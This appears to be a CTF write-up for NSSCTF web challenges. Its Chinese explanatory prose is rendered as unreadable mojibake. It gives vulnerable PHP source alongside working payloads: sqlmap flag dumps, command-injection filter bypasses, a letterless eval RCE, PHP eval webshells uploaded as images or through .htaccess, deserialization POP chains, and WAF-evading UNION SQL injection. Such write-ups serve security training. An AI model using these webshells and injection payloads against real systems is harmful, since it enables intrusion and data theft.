Web
jicao
Copy <? php
highlight_file ( 'index.php' ) ;
include ( "flag.php" );
$id = $_POST[ 'id' ];
$json = json_decode ( $_GET[ 'json' ] , true ) ;
if ($id == "wllmNB" && $json[ 'x' ] == "wllm" )
{ echo $flag;}
?>
Payload ๅฆไธ
Copy Body: id=wllmNB
Param: json={"x":"wllm"}
easy_md5
Copy <? php
highlight_file ( __FILE__ ) ;
include 'flag2.php' ;
if ( isset ( $_GET[ 'name' ] ) && isset ( $_POST[ 'password' ] ) ){
$name = $_GET[ 'name' ];
$password = $_POST[ 'password' ];
if ($name != $password && md5 ( $name ) == md5 ( $password ) ){
echo $flag;
}
else {
echo "wrong!" ;
}
}
else {
echo 'wrong!' ;
}
?>
Payload ๅฆไธ
Copy Body: password[]=2
Param: name[]=1
easy_sql
ๆๅผ้กต้ขๅ title ๅญๅจๆ็คบ ๅๆฐๆฏ wllm
ใ
Copy $ python sqlmap.py -u http://node2.anna.nssctf.cn:28574/?wllm= 1 --dbs
available databases [5]:
[ * ] information_schema
[ * ] mysql
[ * ] performance_schema
[ * ] test
[ * ] test_db
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28574/?wllm= 1 -D test_db --tables
Database: test_db
[ 2 tables]
+---------+
| test_tb |
| users |
+---------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28574/?wllm= 1 -D test_db -T test_tb --columns
Database: test_db
Table: test_tb
[ 2 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | varchar(50 ) |
| id | int(11 ) |
+--------+-------------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28574/?wllm= 1 -D test_db -T test_tb -C flag --dump
Database: test_db
Table: test_tb
[ 1 entry]
+----------------------------------------------+
| flag |
+----------------------------------------------+
| NSSCTF {66c831a1-4505-4bcd-8b89-b9620b715aeb} |
+----------------------------------------------+
include
Payload ๅฆไธ
Copy file=php://filter/convert.base64-encode/resource=flag.php
caidao
่ๅๅฉ็จ $_POST['wllm']
ไธๆๆขญใ
easyrce
Copy url=system("ls%20/");
ๅๆพ bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
๏ผ
Copy url=system("cat%20/flllllaaaaaaggggggg");
ๅพๅฐ flagใ
babyrce
Copy <? php
error_reporting ( 0 ) ;
header ( "Content-Type:text/html;charset=utf-8" ) ;
highlight_file ( __FILE__ ) ;
if ($_COOKIE[ 'admin' ] == 1 )
{
include "../next.php" ;
}
else
echo "ๅฐ้ฅผๅนฒๆๅฅฝๅๅฆ๏ผ" ;
?>
่ฎพ็ฝฎ Cookie admin=1
๏ผๅณๅฏๅฐ่พพไธไธๅ
ณ ใ
Copy <? php
error_reporting ( 0 ) ;
highlight_file ( __FILE__ ) ;
error_reporting ( 0 ) ;
if ( isset ( $_GET[ 'url' ] ) ) {
$ip = $_GET[ 'url' ];
if ( preg_match ( "/ /" , $ip ) ){
die ( 'nonono' );
}
$a = shell_exec ( $ip ) ;
echo $a;
}
?>
้่ฟๅๆๅฏๅพ็ฉบๆ ผ่ขซ่ฟๆปค๏ผๅฏไปฅ้่ฟ $IFS$1
ๆฅ็ป่ฟ๏ผๆ้ Payload ๅฆไธ
ๅพๅฐๅๆพ bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
๏ผ
Copy url=cat$IFS$1/flllllaaaaaaggggggg
ๅพๅฐ flagใ
hardrce
Copy <? php
header ( "Content-Type:text/html;charset=utf-8" ) ;
error_reporting ( 0 ) ;
highlight_file ( __FILE__ ) ;
if ( isset ( $_GET[ 'wllm' ] ) ) {
$wllm = $_GET[ 'wllm' ];
$blacklist = [ ' ' , '\t' , '\r' , '\n' , '\+' , '\[' , '\^' , '\]' , '\"' , '\-' , '\$' , '\*' , '\?' , '\<' , '\>' , '\=' , '\`' , ];
foreach ($blacklist as $blackitem) {
if ( preg_match ( '/' . $blackitem . '/m' , $wllm ) ) {
die ( "LTLT่ฏดไธ่ฝ็จ่ฟไบๅฅๅฅๆชๆช็็ฌฆๅทๅฆ๏ผ" );
}
}
if ( preg_match ( '/[a-zA-Z]/is' , $wllm ) ) {
die ( "Ra's Al Ghul่ฏดไธ่ฝ็จๅญๆฏๅฆ๏ผ" );
}
echo "NoVic4่ฏด๏ผไธ้ๅฆๅฐไผๅญ๏ผๅฏไฝ ่ฝๆฟๅฐflagๅ๏ผ" ;
eval ( $wllm ) ;
} else {
echo "่กๆป่ฏด๏ผๆณจๆๅฎก้ข๏ผ๏ผ๏ผ" ;
}
?>
ๅ็ฐๆฒกๆ่ฟๆปค %
๏ผๅไธ่ฝ็จๅญๆฏ๏ผ้ฃๅฐฑๅช่ฝๅฐ่ฏไธ Urlencode ๅๅ็ป่ฟไบใ
Copy <? php
$a = 'system' ;
$b = 'ls$IFS$1/' ;
echo '(~' . urlencode ( ~ $a ) . ')(~' . urlencode ( ~ $b ) . ');' ;
// (~%8C%86%8C%8B%9A%92)(~%93%8C%DB%B6%B9%AC%DB%CE%D0);
ๆ้ Payload ๅฆไธ
Copy wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DB%B6%B9%AC%DB%CE%D0);
ๅฏไปฅๅพๅฐๅๆพๅฆไธ
Copy bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
้่ฟๆ้ Urlencode ๅๅๅ้่ฟๅฆไธ Payload ๅฐฑๅฏไปฅๅพๅฐ flag ไบใ
Copy <? php
$a = 'system' ;
$b = 'cat$IFS$1/flllllaaaaaaggggggg' ;
echo '(~' . urlencode ( ~ $a ) . ')(~' . urlencode ( ~ $b ) . ');' ;
// (~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%B6%B9%AC%DB%CE%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
Copy wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DB%B6%B9%AC%DB%CE%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
hardrce_3
Copy <? php
header ( "Content-Type:text/html;charset=utf-8" ) ;
error_reporting ( 0 ) ;
highlight_file ( __FILE__ ) ;
if ( isset ( $_GET[ 'wllm' ] ) ) {
$wllm = $_GET[ 'wllm' ];
$blacklist = [ ' ' , '\^' , '\~' , '\|' ];
foreach ($blacklist as $blackitem) {
if ( preg_match ( '/' . $blackitem . '/m' , $wllm ) ) {
die ( "ๅฐไผๅญๅชไผๅผๆๅๅๅ๏ผไธๅฅฝๆๆๅฆLTLT่ฏดไธ่ฝ็จ๏ผ๏ผ" );
}
}
if ( preg_match ( '/[a-zA-Z0-9]/is' , $wllm ) ) {
die ( "Ra'sAlGhul่ฏด็จๅญๆฏๆฐๅญๆฏๆฒกๆ็ต้ญ็๏ผ" );
}
echo "NoVic4่ฏด๏ผไธ้ๅฆๅฐไผๅญ๏ผๅฏไฝ ่ฝๆฟๅฐflagๅ๏ผ" ;
eval ( $wllm ) ;
} else {
echo "่กๆป่ฏด๏ผๆณจๆๅฎก้ข๏ผ๏ผ๏ผ" ;
}
?>
่ฟๆฏไธ้ๆ ๅญๆฏๆฐๅญ rce ๏ผๆ นๆฎ็พๅบฆไธ็ชๆฅๆพๆพๅฐ็จ่ชๅข็ๆนๆณๆฅ่งฃๅณ
https://blog.csdn.net/qq_61778128/article/details/127063407
Copy <? php
$_ = [] . '' ; //ๅพๅฐ"Array"
$___ = $_[$__]; //ๅพๅฐ"A"๏ผ$__ๆฒกๆๅฎไน๏ผ้ป่ฎคไธบFalseไนๅณ0๏ผๆญคๆถ$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //ๅพๅฐ"S"๏ผๆญคๆถ$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; //ๅพๅฐ"E"๏ผๆญคๆถ$__="E"
$___ .= $__; //$___="ASSE"
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__;$__ ++ ; //ๅพๅฐ"R"๏ผๆญคๆถ$__="R"
$___ .= $__; //$___="ASSER"
$__ ++ ;$__ ++ ; //ๅพๅฐ"T"๏ผๆญคๆถ$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_" ; //$____="_"
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; //ๅพๅฐ"P"๏ผๆญคๆถ$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; //ๅพๅฐ"O"๏ผๆญคๆถ$__="O"
$____ .= $__; //$____="_PO"
$__ ++ ;$__ ++ ;$__ ++ ;$__ ++ ; //ๅพๅฐ"S"๏ผๆญคๆถ$__="S"
$____ .= $__; //$____="_POS"
$__ ++ ; //ๅพๅฐ"T"๏ผๆญคๆถ$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___ ($_[_]);
่ฟ้ๆพไธไธชๅ็ผฉ็๏ผ
Copy <? php
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;$___.=$__;$__++;$__++;$___.=$__;$__=$_;$____="_";$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__++;$__++;$__++;$__++;$____.=$__;$__++;$____.=$__;$_=$$____;$___($_[_]);
ๅฐไปฅไธๅ
ๅฎน่ฟ่กไธๆฌก Urlencode ็ผ็ ๅพๅฐไปฅไธๅ
ๅฎน๏ผๅฐๅ
ถไฝไธบ Payload ใ
Copy wllm=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%5F%5F%3D%24%5F%5B%24%5F%5F%5D%3B%24%5F%5F%3D%24%5F%5F%5F%3B%24%5F%3D%24%5F%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%5F%5F%3D%22%5F%22%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%24%5F%5F%5F%5F%3B%24%5F%5F%5F%28%24%5F%5B%5F%5D%29%3B
ไฝๆฏๅ็ฐๅนถๆฒกๆ็จ๏ผ้่ฟ็พๅบฆ็ๅ็ฐ่ฟ้่ฆๅฉ็จ file_put_contents()
ๅฝๆฐๆฅ็ป่ฟ disable_functionใ
ๆไปฅ้่ฆๆ้ Payload ๅฆไธ๏ผbody ้จๅ๏ผ
Copy _=file_put_contents('1.php','<?php eval($_POST[1]); ?>');
็ถๅ่ฎฟ้ฎ ./1.php
ๅ็ฐๆไปถๆๅๅๅ
ฅๅๅฐ่ฏ็จ่ๅ่ฟๆฅ๏ผ่ฟๆฅๆๅๅๅ็ฐ flag ๅฐฑๅจๆ น็ฎๅฝ /flag
ไธญใ
finalrce
Copy <? php
highlight_file ( __FILE__ ) ;
if ( isset ( $_GET[ 'url' ] ) ) {
$url = $_GET[ 'url' ];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) {
echo "Sorry,you can't use this." ;
} else {
echo "Can you see anything?" ;
exec ( $url ) ;
}
}
้่ฟ tee
ๅ ็ฎก้็ฌฆ ๅฏไปฅๅฐๅผ่พๅบๅฐๆไปถไธญ๏ผๆ้ Payload ๅฆไธ
Copy url=l\s / | tee 1.html
่ฎฟ้ฎ ./1.html
ๅฏไปฅๅพๅฐไปฅไธๅ
ๅฎน
Copy a_here_is_a_f1ag bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
ๆ้ ไปฅไธ Payload ่ทๅ flag ๏ผ้่ฆๆณจๆ la
ๅ cat
่ขซ่ฟๆปคไบ๏ผ้่ฆไฝฟ็จ \
่ฟ่ก็ป่ฟ
Copy url=c\at /flllll\aaaaaaggggggg | tee 2.html
่ฎฟ้ฎ ./2.html
ๅฐฑๅฏไปฅๅพๅฐ flag ไบใ
Do_you_know_http
ไฟฎๆนไปฅไธไธค้กน
Copy User-Agent : WLLM
X-Forwarded-For : 127.0.0.1
ๅณๅฏๅพๅฐ flagใ
ez_unserialize
ๅ
็จ dirsearch ๆพๆพๆไปถ~
Copy $ python dirsearch.py -u http://node2.anna.nssctf.cn:28104/
[11:43:36] 200 - 0B - /flag.php
[11:49:43] 200 - 35B - /robots.txt
่ฎฟ้ฎ /robots.txt
ๅฏไปฅๅพๅฐ /cl45s.php
๏ผ่ฎฟ้ฎๅฏไปฅๅพๅฐไปฅไธไปฃ็ ใ
Copy <? php
error_reporting ( 0 ) ;
show_source ( "cl45s.php" ) ;
class wllm {
public $admin;
public $passwd;
public function __construct (){
$this -> admin = "user" ;
$this -> passwd = "123456" ;
}
public function __destruct (){
if ( $this -> admin === "admin" && $this -> passwd === "ctf" ){
include ( "flag.php" );
echo $flag;
} else {
echo $this -> admin;
echo $this -> passwd;
echo "Just a bit more!" ;
}
}
}
$p = $_GET[ 'p' ];
unserialize ( $p ) ;
?>
่ฟๆฏไธ้ๅๅบๅ้ข๏ผๅ
่ฟ่กๅบๅๅๆ้ ใ
Copy <? php
class wllm {
public $admin;
public $passwd;
public function __construct (){
$this -> admin = "user" ;
$this -> passwd = "123456" ;
}
public function __destruct (){
if ( $this -> admin === "admin" && $this -> passwd === "ctf" ){
include ( "flag.php" );
echo $flag;
} else {
echo $this -> admin;
echo $this -> passwd;
echo "Just a bit more!" ;
}
}
}
$a = new wllm ();
$a -> admin = "admin" ;
$a -> passwd = "ctf" ;
echo serialize ( $a )
// O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
ๅพๅฐ่ฟๅ็ๅผๅๆ้ Payload ๅฆไธ
Copy p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
ๅฐฑๅพๅฐ flag ใ
easyupload1.0
ๆ้ ๅพ็้ฉฌ
Copy POST /upload.php HTTP / 1.1
------WebKitFormBoundary8eWcQ5xJ0L37mCSt
Content-Disposition : form-data; name="uploaded"; filename="shell.php"
Content-Type : image/jpeg
<? php eval ($_POST[1]); ?>
------WebKitFormBoundary8eWcQ5xJ0L37mCSt
ไธไผ ๅๅพๅฐๅๆพ ./upload/shell.php
๏ผ้่ฟ่ๅไธๆๆขญๅ็ฐๆ น็ฎๅฝ็ flag ๆฏๅ็๏ผ้ฃๅฐฑๆพๆพ็ฏๅขๅ้็ฝข๏ผ้่ฟๆ้ Payload ๅฆไธ
F5 ๆฅๆพๅ็ฐ flag ๅฐฑๅจ่ฟ้้ขใ
easyupload2.0
ๆ้ ๅพ็้ฉฌ
Copy POST /upload.php HTTP / 1.1
------WebKitFormBoundary8eWcQ5xJ0L37mCSt
Content-Disposition : form-data; name="uploaded"; filename="shell.php"
Content-Type : image/jpeg
<? php eval ($_POST[1]); ?>
------WebKitFormBoundary8eWcQ5xJ0L37mCSt
ไธไผ ๅๅพๅฐๅๆพ phpๆฏไธ่กๆปด
๏ผ้ฃๅฐฑๅฐ่ฏไฟฎๆนๅ็ผไธบๅ
ถไป๏ผๆฏๅฆ .phtml
๏ผ๏ผไธไผ ๆๅๅ็ดๆฅๆ้ Payload ๅฆไธ
F5 ๆฅๆพๅ็ฐ flag ๅฐฑๅจ่ฟ้้ขใ
easyupload3.0
่ฟๆฌกๆฏไธไธๆฌกๆฅ่ฏด่ฟๆปคไบๅพๅค๏ผๆนๅ็ผๅๅทฒ็ปๆ ๆณ็ป่ฟไบ๏ผ้ฃๅฐฑ่ฏ่ฏๆน .htaccess
็ฝขใ
Copy POST /upload.php HTTP / 1.1
------WebKitFormBoundaryfmADKqeYk0Yxw93y
Content-Disposition : form-data; name="uploaded"; filename=".htaccess"
Content-Type : image/png
< FilesMatch "png" >
setHandler application/x-httpd-php
</ FilesMatch >
------WebKitFormBoundaryfmADKqeYk0Yxw93y
ๅ็ฐไธไผ ๆๅ๏ผ้ฃๅฐฑไธไผ ไธชๅพ็้ฉฌ็ฝขใ
Copy POST /upload.php HTTP / 1.1
------WebKitFormBoundaryfmADKqeYk0Yxw93y
Content-Disposition : form-data; name="uploaded"; filename="1.png"
Content-Type : image/png
<? php eval ($_POST[1]); ?>
------WebKitFormBoundaryfmADKqeYk0Yxw93y
ไธไผ ๆๅๅ็ดๆฅๆ้ Payload ๅฆไธ
F5 ๆฅๆพๅ็ฐ flag ๅฐฑๅจ่ฟ้้ขใ
no_wakeup
ๆ นๆฎ้ข็ฎ็ๆตๆฏ้่ฆ็ป่ฟๅๅบๅๅๆถๅ็ __wakeup()
้ญๆฏๆนๆณใ
Copy <? php
header ( "Content-type:text/html;charset=utf-8" ) ;
error_reporting ( 0 ) ;
show_source ( "class.php" ) ;
class HaHaHa {
public $admin;
public $passwd;
public function __construct (){
$this -> admin = "user" ;
$this -> passwd = "123456" ;
}
public function __wakeup (){
$this -> passwd = sha1 ( $this -> passwd ) ;
}
public function __destruct (){
if ( $this -> admin === "admin" && $this -> passwd === "wllm" ){
include ( "flag.php" );
echo $flag;
} else {
echo $this -> passwd;
echo "No wake up" ;
}
}
}
$Letmeseesee = $_GET[ 'p' ];
unserialize ( $Letmeseesee ) ;
?>
ๅฏไปฅ้่ฟไฟฎๆนๅๅบๅๅๅฏน่ฑก็ๅๆฐๅฐฑๅฏไปฅ็ป่ฟ่ฏฅ้ญๆฏๆนๆณไบ๏ผๅ
่ฟ่กๅบๅๅๆ้ ใ
Copy <? php
class HaHaHa {
public $admin;
public $passwd;
public function __construct (){
$this -> admin = "user" ;
$this -> passwd = "123456" ;
}
public function __wakeup (){
$this -> passwd = sha1 ( $this -> passwd ) ;
}
public function __destruct (){
if ( $this -> admin === "admin" && $this -> passwd === "wllm" ){
include ( "flag.php" );
echo $flag;
} else {
echo $this -> passwd;
echo "No wake up" ;
}
}
}
$a = new HaHaHa ();
$a -> admin = "admin" ;
$a -> passwd = "wllm" ;
echo serialize ( $a ) ;
ๅฏไปฅๅพๅฐๅผ
Copy O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
ๅฐๅฏน่ฑกๅๆฐไธชๆฐ 2
ๆนๆ 3
ๅณๅฏ็ป่ฟ๏ผๅณๆ้ Payload ๅฆไธ
Copy p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
PseudoProtocols
้ข็ฎๆ ้ขไธบ ไผชๅ่ฎฎ ๏ผ้ฃๅฐฑๆฏไธ้ ไผชๅ่ฎฎ ็้ข็ฎๅใ
้ข็ฎๅญๅจ Param wllm
๏ผๆ้ Payload ๅฆไธ
Copy wllm=php://filter/convert.base64-encode/resource=hint.php
ๅฐฑๅฏไปฅๅพๅฐ hint.php
็ไปฃ็ ๅฆไธ
Copy <? php
//go to /test2222222222222.php
?>
ๅๅพๆ็คบๅ
็ๆไปถๅฏไปฅๅพๅฐไปฅไธไปฃ็
Copy <? php
ini_set ( "max_execution_time" , "180" ) ;
show_source ( __FILE__ ) ;
include ( 'flag.php' );
$a = $_GET[ "a" ];
if ( isset ( $a ) && ( file_get_contents ( $a , 'r' ) ) === 'I want flag' ){
echo "success\n" ;
echo $flag;
}
?>
้่ฆไฝฟๅพ a
็ๅผไธบ I want flag
๏ผๅ
ๅฐ I want flag
่ฟ่ก base64 ็ผ็ ๅพๅฐ SSB3YW50IGZsYWc=
๏ผๅๆ้ Payload ๅฆไธ
Copy a=data://text/plain;base64,SSB3YW50IGZsYWc=
ๅฐฑๅฏไปฅๅพๅฐ flag ไบใ
error
ๆ นๆฎ้ข็ฎ็ๆตๆฏ SQL ๆฅ้ๆณจๅ
ฅ๏ผ๏ผ๏ผ่ฏ่ฏ sqlmapใ
Copy $ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id= 1 --dbs
available databases [5]:
[ * ] information_schema
[ * ] mysql
[ * ] performance_schema
[ * ] test
[ * ] test_db
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id= 1 -D test_db --tables
Database: test_db
[ 2 tables]
+---------+
| test_tb |
| users |
+---------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id= 1 -D test_db -T test_tb --columns
Database: test_db
Table: test_tb
[ 2 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | varchar(50 ) |
| id | int(11 ) |
+--------+-------------+
$ python sqlmap.py -u http://node2.anna.nssctf.cn:28431/index.php?id= 1 -D test_db -T test_tb -C flag --dump
Database: test_db
Table: test_tb
[ 1 entry]
+----------------------------------------------+
| flag |
+----------------------------------------------+
| NSSCTF {d9d7ae7c-5b01-461c-836a-4e0f784d9784} |
+----------------------------------------------+
pop
Copy <? php
error_reporting ( 0 ) ;
show_source ( "index.php" ) ;
class w44m {
private $admin = 'aaa' ;
protected $passwd = '123456' ;
public function Getflag (){
if ( $this -> admin === 'w44m' && $this -> passwd === '08067' ){
include ( 'flag.php' );
echo $flag;
} else {
echo $this -> admin;
echo $this -> passwd;
echo 'nono' ;
}
}
}
class w22m {
public $w00m;
public function __destruct (){
echo $this -> w00m;
}
}
class w33m {
public $w00m;
public $w22m;
public function __toString (){
$this -> w00m -> { $this -> w22m}();
return 0 ;
}
}
$w00m = $_GET[ 'w00m' ];
unserialize ( $w00m ) ;
?>
ๅ
ๆ้ ๅบๅๅ
Copy <?php
class w44m{
private $admin = 'aaa';
public function setAdmin(string $admin): void
{
$this->admin = $admin;
}
public function setPasswd(string $passwd): void
{
$this->passwd = $passwd;
}
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m = $b;
$b->w00m = $c;
$b->w22m = 'Getflag';
$c->setAdmin('w44m');
$c->setPasswd('08067');
echo urlencode(serialize($a));
// O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
ไนๅๆ้ Payload ๅฆไธๅณๅฏๅพๅฐ flag ใ
Copy w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
sql
้ข็ฎไธญ่ฏดๆ้่ฆ็ป่ฟ Waf ๏ผ้ฃๅฐฑๅ
ๅคๆญ่ขซ่ฟๆปค็ๅญ็ฌฆ๏ผๆ้ Payload ๅฆไธ
Copy wllm=1' and 1=1%23
wllm=1'||1=1%23
wllm=1' or 1%23
ๅๆพๆ็คบๅญๅจ้ๆณๅญ็ฌฆ๏ผ
ๆญคๆถๅๆพๅนถๆฒกๆๆ็คบๅญๅจ้ๆณๅญ็ฌฆ๏ผๅฏไปฅๆจๆญๅบ่ฟๆปคไบ =
ๅ ็ฉบๆ ผ
ใ
ๆ้ Payload ๅฆไธ
Copy wllm=1'/**/order/**/by/**/1%23
wllm=1'/**/order/**/by/**/2%23
wllm=1'/**/order/**/by/**/3%23
wllm=1'/**/order/**/by/**/4%23
ๅฐ 4
ๆถๅบ็ฐๆฅ้๏ผๅ ๆญค้ฟๅบฆไธบ 3
ใ
ๆ้ Payload ๅฆไธ
Copy wllm=-1'/**/union/**/select/**/1,2,3%23
ๅฏไปฅๅ็ฐ 2,3
ๆๅๆพ๏ผๆ้ Payload ๅฆไธ
Copy wllm=-1'/**/union/**/select/**/1,database(),3%23
ๅฏไปฅๅพๅฐๆฐๆฎๅบๅ test_db
๏ผๆ้ Payload ๅฆไธ
Copy wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),3%23
ๅฏไปฅๅพๅฐ่กจๅ LTLT_flag, users
๏ผๆ้ Payload ๅฆไธ๏ผๆๆฒ๏ผๅ็ฐ and ไน่ขซ่ฟๆปคไบ๏ผ
Copy wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'),3%23
ๅฏไปฅๅพๅฐๅๅ id, flag, id, username
๏ผๆ้ Payload ๅฆไธ
Copy wllm=-1'/**/union/**/select/**/1,(select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),3%23
ๅฏไปฅๅพๅฐ NSSCTF{aeb148da-5efa
๏ผๅฏไปฅ้่ฟ mid()
ๆฅ่ทๅ flag ็ๅ
ถไป้จๅ๏ผๆ้ Payload ๅฆไธ
Copy wllm=-1'/**/union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),21),3%23
